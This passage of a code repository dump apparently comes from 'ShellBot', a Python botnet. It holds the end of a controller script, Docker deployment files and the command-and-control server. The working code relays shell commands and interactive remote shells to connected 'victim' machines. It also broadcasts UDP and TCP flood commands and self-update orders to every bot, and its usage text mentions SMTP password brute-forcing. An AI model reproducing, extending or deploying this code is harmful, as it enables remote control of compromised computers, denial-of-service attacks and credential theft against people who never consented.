::::: 81 | Example: custombruteforce smtp.example.com:587:user@example.com:abcdefghi:4:6 82 | 83 | """ 84 | # Helper Functions 85 | 86 | 87 | def send_msg(sock, sem): 88 | while True: 89 | data = sys.stdin.readline() 90 | if sem.acquire(False): 91 | return 92 | sock.send(bytes(data, 'utf-8')) 93 | 94 | 95 | def recv_msg(sock): 96 | while True: 97 | data = sock.recv(20480).decode() 98 | if data == 'stop': 99 | sys.stdout.write("[Controller] - 'rawexec' finished\n") 100 | return 101 | sys.stdout.write(data) 102 | 103 | 104 | def rawexec(s, command): 105 | sem = threading.Semaphore() 106 | sem.acquire(False) 107 | s.send(bytes(command, 'utf-8')) 108 | sender = threading.Thread(target=send_msg, args=(s, sem,)) 109 | recver = threading.Thread(target=recv_msg, args=(s,)) 110 | sender.daemon = True 111 | recver.daemon = True 112 | sender.start() 113 | recver.start() 114 | while threading.active_count() > 2: 115 | pass 116 | sem.release() 117 | 118 | 119 | def process(s, command): 120 | victimpath = '' 121 | breakit = False 122 | if command == "stop": 123 | s.send(bytes("stop", 'utf-8')) 124 | print("\n") 125 | breakit = True 126 | elif "rawexec" in command: 127 | rawexec(s, command) 128 | elif "cd " in command: 129 | s.send(bytes(command, 'utf-8')) 130 | temp = s.recv(20480).decode() 131 | if "ERROR" not in temp: 132 | victimpath = temp 133 | else: 134 | print(temp) 135 | elif command == "": 136 | print("[CONTROLLER] Nothing to be sent...\n") 137 | else: 138 | s.send(bytes(command, 'utf-8')) 139 | print(s.recv(20480).decode()) 140 | return breakit, victimpath 141 | 142 | 143 | def interact(s, command): 144 | s.send(bytes(command, 'utf-8')) 145 | temporary = s.recv(20480).decode() 146 | if "ERROR" not in temporary: 147 | victimpath = s.recv(20480).decode() 148 | if "ERROR" not in victimpath: 149 | breakit = False 150 | while not breakit: 151 | msg = input(victimpath) 152 | allofem = re.split(''';(?=(?:[^'"]|'[^']*'|"[^"]*")*$)''', msg) 153 | for onebyone in allofem: 154 | breakit, path = process(s, onebyone) 155 | if not path == '': 156 | victimpath = path 157 | else: 158 | print(victimpath) 159 | return 160 | else: 161 | print(temporary) 162 | 163 | 164 | def run(s): 165 | try: 166 | while True: 167 | command = input("SB> ") 168 | if command.strip() is '': pass 169 | elif command == "refresh": 170 | s.send(bytes("refresh", 'utf-8')) 171 | print(s.recv(20480).decode()) 172 | elif command == "list": 173 | s.send(bytes("list", 'utf-8')) 174 | print(s.recv(20480).decode()) 175 | elif "interact " in command: 176 | interact(s, command) 177 | elif "udpfloodall " in command or "tcpfloodall " in command: 178 | s.send(bytes(command, 'utf-8')) 179 | elif command == "selfupdateall": 180 | s.send(bytes("selfupdateall", 'utf-8')) 181 | elif command == "clear": 182 | if sys.platform == 'win32': 183 | os.system("cls") 184 | else: 185 | os.system("clear") 186 | elif command == "quit": 187 | s.send(bytes("quit", 'utf-8')) 188 | s.close() 189 | return 190 | elif command == "help": 191 | print(usage, commands) 192 | elif command == "about": 193 | print(about) 194 | else: 195 | print("[CONTROLLER] Invalid Command") 196 | except KeyboardInterrupt: 197 | try: 198 | s.send(bytes("quit", 'utf-8')) 199 | s.close() 200 | except Exception: 201 | pass 202 | print("") 203 | return 204 | except Exception as ex: 205 | print("[CONTROLLER] Connection Closed Due to Error:", ex) 206 | s.close() 207 | return 208 | 209 | 210 | def main(): 211 | print(about) 212 | try: 213 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 214 | s.connect((host, port)) 215 | except Exception: 216 | sys.exit("[ERROR] Can't connect to server") 217 | 218 | s.send(bytes(password, 'utf-8')) 219 | run(s) 220 | 221 | 222 | if __name__ == "__main__": 223 | if len(sys.argv) == 4: 224 | host = sys.argv[1] 225 | port = int(sys.argv[2]) 226 | password = sys.argv[3] 227 | elif len(sys.argv) == 2 and sys.argv[1] in ['-h', '--help']: 228 | print(usage, commands) 229 | else: 230 | # sys.exit(usage) 231 | print(usage) 232 | host = '127.0.0.1' 233 | port = 9090 234 | password = '1234' 235 | print("Using default values - {}:{}, password:{}".format(host, port, password)) 236 | main() 237 | -------------------------------------------------------------------------------- /server/Dockerfile: -------------------------------------------------------------------------------- 1 | FROM python:3.8.5-alpine 2 | COPY . /app 3 | ENTRYPOINT ["python", "/app/server.py"] -------------------------------------------------------------------------------- /server/docker_run.sh: -------------------------------------------------------------------------------- 1 | #!/bin/bash 2 | 3 | docker run -d \ 4 | --name shellbot-server \ 5 | -p 9999:9999 \ 6 | -p 9090:9090 \ 7 | --restart=unless-stopped \ 8 | sayakbrm/shellbot-server:latest 9999 9090 password 9 | 10 | printf 'Starting up shellbot-server container ' 11 | for i in $(seq 1 20); do 12 | if [ "$(docker inspect -f "{{.State.Health.Status}}" shellbot-server)" == "healthy" ] ; then 13 | printf ' OK' 14 | exit 0 15 | else 16 | sleep 3 17 | printf '.' 18 | fi 19 | 20 | if [ $i -eq 20 ] ; then 21 | echo -e "\nTimed out waiting for shellbot-server start, consult check your container logs for more info (\`docker logs shellbot-server\`)" 22 | exit 1 23 | fi 24 | done; -------------------------------------------------------------------------------- /server/server.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | 3 | # MIT License 4 | ## 5 | # Copyright (c) 2017 Sayak Brahmachari 6 | ## 7 | # Permission is hereby granted, free of charge, to any person obtaining a copy 8 | # of this software and associated documentation files (the "Software"), to 9 | # deal in the Software without restriction, including without limitation the 10 | # rights to use, copy, modify, merge, publish, distribute, sublicense, and/or 11 | # sell copies of the Software, and to permit persons to whom the Software is 12 | # furnished to do so, subject to the following conditions: 13 | ## 14 | # The above copyright notice and this permission notice shall be included in 15 | # all copies or substantial portions of the Software. 16 | ## 17 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 18 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 19 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 20 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 21 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING 22 | # FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS 23 | # IN THE SOFTWARE. 24 | 25 | import os 26 | import sys 27 | import time 28 | import select 29 | import socket 30 | 31 | if len(sys.argv) == 4: 32 | port = int(sys.argv[1]) 33 | bridgeport = int(sys.argv[2]) 34 | password = sys.argv[3] 35 | else: 36 | # sys.exit("Usage: server.py ") 37 | print("Usage: server.py ") 38 | port = 9999 # Clients connect to this port 39 | bridgeport = 9090 # Controllers connect to this port 40 | password = '1234' # Password needed by controllers 41 | print("Using default values - client port:{}, bridge:{}, password:{}" 42 | .format(port, bridgeport, password)) 43 | 44 | 45 | intro = r""" 46 | ____ ____ ____ ____ ____ ____ ____ ____ 47 | ||S |||h |||e |||l |||l |||B |||o |||t || 48 | ||__|||__|||__|||__|||__|||__|||__|||__|| 49 | |/__\|/__\|/__\|/__\|/__\|/__\|/__\|/__\| 50 | 51 | Coded by: Sayak Brahmachari 52 | GitHub: https://github.com/sayak-brm 53 | Website: http://mctrl.ml 54 | """ 55 | 56 | cli_err = "[SERVER - ERROR] Client closed the connection" 57 | cli_err += "\n[INFO] Retreiving connections again...\n" 58 | 59 | s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 60 | s.settimeout(5) # 5 seconds are given for every operation by cients. 61 | s.bind(("0.0.0.0", port)) 62 | s.listen(5) 63 | 64 | bridge = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 65 | bridge.bind(("0.0.0.0", bridgeport)) 66 | bridge.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) 67 | 68 | allConnections = [] 69 | allAddresses = [] 70 | 71 | 72 | def quitClients(): 73 | """Close all Connections""" 74 | for item in allConnections: 75 | try: 76 | item.send(bytes("exit", 'utf-8')) 77 | item.close() 78 | except Exception: # Connection already closed 79 | pass 80 | 81 | del allConnections[:] 82 | del allAddresses[:] 83 | 84 | 85 | def getConnections(): 86 | """Get Client Connections""" 87 | quitClients() 88 | while 1: 89 | try: 90 | q, addr = s.accept() 91 | q.setblocking(1) # No Timeout 92 | allConnections.append(q) 93 | allAddresses.append(addr) 94 | except Exception: # Time's up 95 | break 96 | 97 | 98 | def sendController(msg, q): 99 | """Communicate with connected controller 100 | 101 | Arguments: 102 | msg {str} -- Message to be sent 103 | q {socket.socket} -- Controller's socket 104 | 105 | Returns: 106 | int -- Error Code: 107 | 0) Error 108 | 1) Success 109 | """ 110 | 111 | try: 112 | q.send(msg) 113 | return 1 # success 114 | except Exception as ex: 115 | print('[SERVER] Error:', ex) 116 | return 0 # fail 117 | 118 | 119 | def init_controller(): 120 | bridge.listen(0) 121 | q, _ = bridge.accept() 122 | 123 | cpass = q.recv(20480).decode() 124 | 125 | if (cpass == password): 126 | return q, True 127 | else: 128 | return q, False 129 | 130 | 131 | def main(): 132 | while 1: 133 | q, loginsucc = init_controller() 134 | 135 | timeout = time.time() + 500 136 | 137 | breakit = False 138 | while 1: 139 | if (loginsucc == False): 140 | break # Wrong Pass 141 | 142 | if ((time.time() > timeout) or (breakit == True)): 143 | break # 5 min.s passed 144 | 145 | try: 146 | command = q.recv(20480).decode() 147 | except Exception as ex: 148 | print('[SERVER] Error:', ex) 149 | break 150 | 151 | if (command == "refresh"): 152 | getConnections() 153 | if (sendController(bytes("[SERVER] Connections Refreshed\n", 'utf-8'), q) == 0): 154 | break 155 | 156 | elif(command == "list"): 157 | temporary = "" 158 | for item in allAddresses: 159 | temporary += "%d - %s|%s\n" % ( 160 | allAddresses.index(item) + 1, str(item[0]), str(item[1])) 161 | if (temporary != ""): 162 | if (sendController(bytes(temporary, 'utf-8'), q) == 0): 163 | break 164 | else: 165 | if (sendController(bytes("[SERVER] No clients\n", 'utf-8'), q) == 0): 166 | break 167 | 168 | elif("interact " in command): 169 | chosenone = int(command.replace("interact ", "")) - 1 170 | if ((chosenone < len(allAddresses)) and (chosenone >= 0)): 171 | if (sendController(bytes("[SERVER] Interacting with %s\n" % str( 172 | allAddresses[chosenone]), 'utf-8'), q) == 0): 173 | break 174 | 175 | try: 176 | allConnections[chosenone].send( 177 | bytes("hellows123", 'utf-8')) 178 | vtpath = allConnections[chosenone].recv( 179 | 20480).decode() + "$ " 180 | 181 | if (sendController(bytes(vtpath, 'utf-8'), q) == 0): 182 | break 183 | 184 | while 1: 185 | if (time.time() > timeout): # 5 minutes passed 186 | breakit = True 187 | break 188 | 189 | try: 190 | # Recieves command 191 | data = q.recv(20480).decode() 192 | except Exception as ex: 193 | print('[SERVER] Error:', ex) 194 | breakit = True 195 | break 196 | 197 | try: # Pass it out to Client and Send back the Response 198 | if "cd " in data: 199 | allConnections[chosenone].send( 200 | bytes(data, 'utf-8')) 201 | msg = allConnections[chosenone].recv( 202 | 20480).decode() 203 | vtpath = msg + "$ " 204 | if (sendController(bytes(vtpath, 'utf-8'), q) == 0): 205 | breakit = True 206 | break 207 | elif data == "stop": 208 | break 209 | elif "rawexec" in data: 210 | allConnections[chosenone].send( 211 | bytes(data, 'utf-8')) 212 | while True: 213 | flag = False 214 | read_sockets, _, _ = select.select( 215 | [allConnections[chosenone], q], [], []) 216 | for sock in read_sockets: 217 | if sock == q: 218 | allConnections[chosenone].send( 219 | q.recv(20480)) 220 | else: 221 | data = allConnections[chosenone].recv( 222 | 20480) 223 | if data.decode() == 'stop': 224 | flag = True 225 | sendController(data, q) 226 | if flag: 227 | break 228 | else: 229 | allConnections[chosenone].send( 230 | bytes(data, 'utf-8')) 231 | msg = allConnections[chosenone].recv( 232 | 20480).decode() 233 | if (sendController(bytes(msg, 'utf-8'), q) == 0): 234 | breakit = True 235 | break 236 | except: 237 | if (sendController(bytes(cli_err, 'utf-8'), q) == 0): 238 | breakit = True 239 | break 240 | break 241 | except: 242 | if (sendController(bytes(cli_err, 'utf-8'), q) == 0): 243 | break 244 | getConnections() 245 | else: 246 | if (sendController(bytes("[SERVER - ERROR] Client doesn't exist\n", 'utf-8'), 247 | q) == 0): 248 | break 249 | 250 | elif ("udpfloodall " in command or "tcpfloodall " in command): 251 | for item in allConnections: 252 | try: 253 | item.send(bytes(command, 'utf-8')) 254 | except: 255 | pass 256 | elif (command == "selfupdateall"): 257 | for item in allConnections: 258 | try: 259 | item.send(bytes(command, 'utf-8')) 260 | except: 261 | pass 262 | 263 | elif(command == "quit"): 264 | quitClients() 265 | q.close() 266 | break 267 | else: 268 | if (sendController(bytes("[SERVER - ERROR] Invalid Command\n", 'utf-8'), 269 | q) == 0): 270 | break 271 | 272 | 273 | while 1: 274 | try: 275 | main() 276 | except KeyboardInterrupt: 277 | quitClients() 278 | except Exception as ex: 279 | print('[SERVER] Error:', ex) 280 | quitClients() 281 | 282 | time.sleep(10) # Wait 10 seconds before restarting server 283 | --------------------------------------------------------------------------------